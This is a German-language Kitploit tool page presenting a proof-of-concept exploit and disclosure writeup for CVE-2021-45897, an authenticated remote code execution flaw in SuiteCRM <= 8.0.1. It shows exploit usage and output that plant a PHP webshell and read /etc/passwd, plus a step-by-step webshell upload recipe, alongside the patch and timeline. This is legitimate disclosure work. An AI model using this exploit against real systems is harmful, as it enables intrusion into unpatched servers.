Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-45897 — # Authentifizierter RCE-Exploit für SuiteCRM <= 8.0.1 über E-Mail-Vorlagen-Bild-Upload, der eine PHP-Webshell für die Remote-Befehlsausführung platziert. | Kitploit
Tools/GitHubGitHub/manuelz120/cve-2021-45897
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

# Authentifizierter RCE-Exploit für SuiteCRM <= 8.0.1 über E-Mail-Vorlagen-Bild-Upload, der eine PHP-Webshell für die Remote-Befehlsausführung platziert.

Repository anzeigen
185vor 4 JahrenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-45897

PoC für CVE-2021-45897 aka SCRMBT-#180 - RCE über E-Mail-Vorlagen (nur authentifiziert) in SuiteCRM <= 8.0.1

Diese Schwachstelle wurde an SalesAgility gemeldet und in SuiteCRM 7.12.3 und SuiteCRM Core 8.0.2 behoben. Wenn Sie ältere Versionen von SuiteCRM verwenden, empfehle ich dringend ein Update.

Verwendung

Installation

  1. Stellen Sie sicher, dass eine aktuelle Version von python3 und pip installiert ist.
  2. Klonen Sie das Repo: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. Installieren Sie die benötigten Bibliotheken: pip3 install -r "requirements.txt"
  4. Viel Spaß :)

Verfügbare Optionen:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

Beispielverwendung:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

Writeup

Ich habe kürzlich einen interessanten RCE-Angriffsvektor in der PHP-basierten SuiteCRM-Software entdeckt. Die Schwachstelle erlaubt einem authentifizierten Angreifer mit Zugriff auf das EmailTemplates-Modul, bösartige PHP-Dateien hochzuladen, die zur Erlangung von Remote-Code-Ausführung genutzt werden können.

Aus meiner Sicht wirkt die gesamte Datei-Upload-Verarbeitung in SuiteCRM recht sicher. Obwohl es viel benutzerdefinierten Code gibt, haben die Entwickler großen Wert darauf gelegt, entweder alle Dateierweiterungen zu entfernen (was bei den meisten Dateitypen geschieht) oder die Erweiterungen zu validieren und den Inhalt zu bereinigen, falls es sich um ein Bild handelt. Es gibt sogar eine Plugin-Schnittstelle, um Antiviren-Scanner von Drittanbietern zu laden und alle Uploads von ihnen verarbeiten zu lassen.

Allerdings bin ich zufällig auf eine interessante kleine Funktion gestoßen, die in public/legacy/modules/EmailTemplates/EmailTemplate.php versteckt ist:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

SuiteCRM erlaubt Benutzern, E-Mail-Vorlagen zu erstellen. Die Vorlagen können auch Anhänge enthalten, die in einem separaten Modul (dem Notes-Modul) gespeichert werden. Benutzer können beliebige Dateien an E-Mail-Vorlagen anhängen. Der Inhalt der Datei wird in keiner Weise bereinigt. Sie wird jedoch ohne Erweiterung gespeichert, sodass sie selbst dann nicht vom Webserver ausgeführt würde, wenn sie potenziell bösartigen PHP-Code enthält. Authentifizierte Benutzer können diese Anhänge auch über einen Link im Format /index.php?entryPoint=download&type=Notes&id=<note-id> herunterladen.

Die Funktion repairEntryPointImages wird immer dann ausgelöst, wenn eine E-Mail-Vorlage gespeichert oder aufgerufen wird. Wenn wir uns den Code ansehen, erkennen wir, dass sie das Markup (body_html) der E-Mail-Vorlage parst und nach HTML-img-Tags mit einem speziellen src-Attribut sucht. Der reguläre Ausdruck entspricht im Wesentlichen dem Format des internen Anhang-Download-Links. Diese Links funktionieren jedoch nur für Benutzer, die in SuiteCRM authentifiziert sind, was beim Empfänger der E-Mail höchstwahrscheinlich nicht der Fall ist. Daher erstellt SuiteCRM automatisch eine Kopie des Anhangs im public-Ordner des Webservers und ersetzt den internen Download-Link durch die öffentliche Version. Um sicherzustellen, dass der E-Mail-Client die Bilder korrekt anzeigt, wird außerdem eine Dateierweiterung hinzugefügt. Die Erweiterung der Zieldatei im öffentlichen Ordner wird jedoch direkt aus dem filename-Abfrageparameter des Bild-src übernommen und nicht validiert (beachten Sie, dass filename keine andere Logik auslöst und frei gewählt werden kann).

Jetzt haben wir alles zusammen, um einen Exploit zu erstellen, der eine PHP-Webshell im public-Ordner hochlädt:

  1. Erstellen Sie einen neuen E-Mail-Anhang / Datensatz im Notes-Modul, indem Sie eine PHP-Webshell hochladen. Merken Sie sich die ID der Note.
  2. SuiteCRM speichert die Webshell-Datei ohne Erweiterung im Upload-Ordner.
  3. Verifizieren Sie, dass Sie die PHP-Datei über /index.php?entryPoint=download&type=Notes&id=<note_id> herunterladen können.
  4. Erstellen Sie eine neue E-Mail-Vorlage und fügen Sie ein Bild-Tag hinzu, das dem regulären Ausdruck in repairEntryPointImages entspricht, aber .php für den filename-Abfrageparameter verwendet (z. B. /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).
  5. Speichern / laden Sie die E-Mail-Vorlage neu – SuiteCRM führt die Funktion repairEntryPointImages aus und kopiert unsere Webshell mit der Erweiterung .php in den public-Ordner.
  6. Viel Spaß mit Ihrer Shell unter http://<<host>>/public/<<note_id>>.php.

Implementierter Fix

Kurz nach meiner Meldung wurden neue SuiteCRM-Versionen (7.12.3 und 8.0.2) veröffentlicht, die den folgenden Fix enthalten:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

Dies stellt sicher, dass in repairEntryPointImages nur gültige Bilddateierweiterungen verwendet werden, und verhindert die Erstellung von Dateien mit nicht auf der Whitelist stehenden Erweiterungen wie .php.

Zeitplan

  • 21/12/2021: Schwachstelle entdeckt und an SuiteCRM gemeldet
  • 22/12/2021: Schwachstelle vom Anbieter (SalesAgility) bestätigt
  • 27/01/2022: Veröffentlichung der behobenen Versionen (SuiteCRM 7.12.3 und SuiteCRM Core 8.0.2)
Tool herunterladen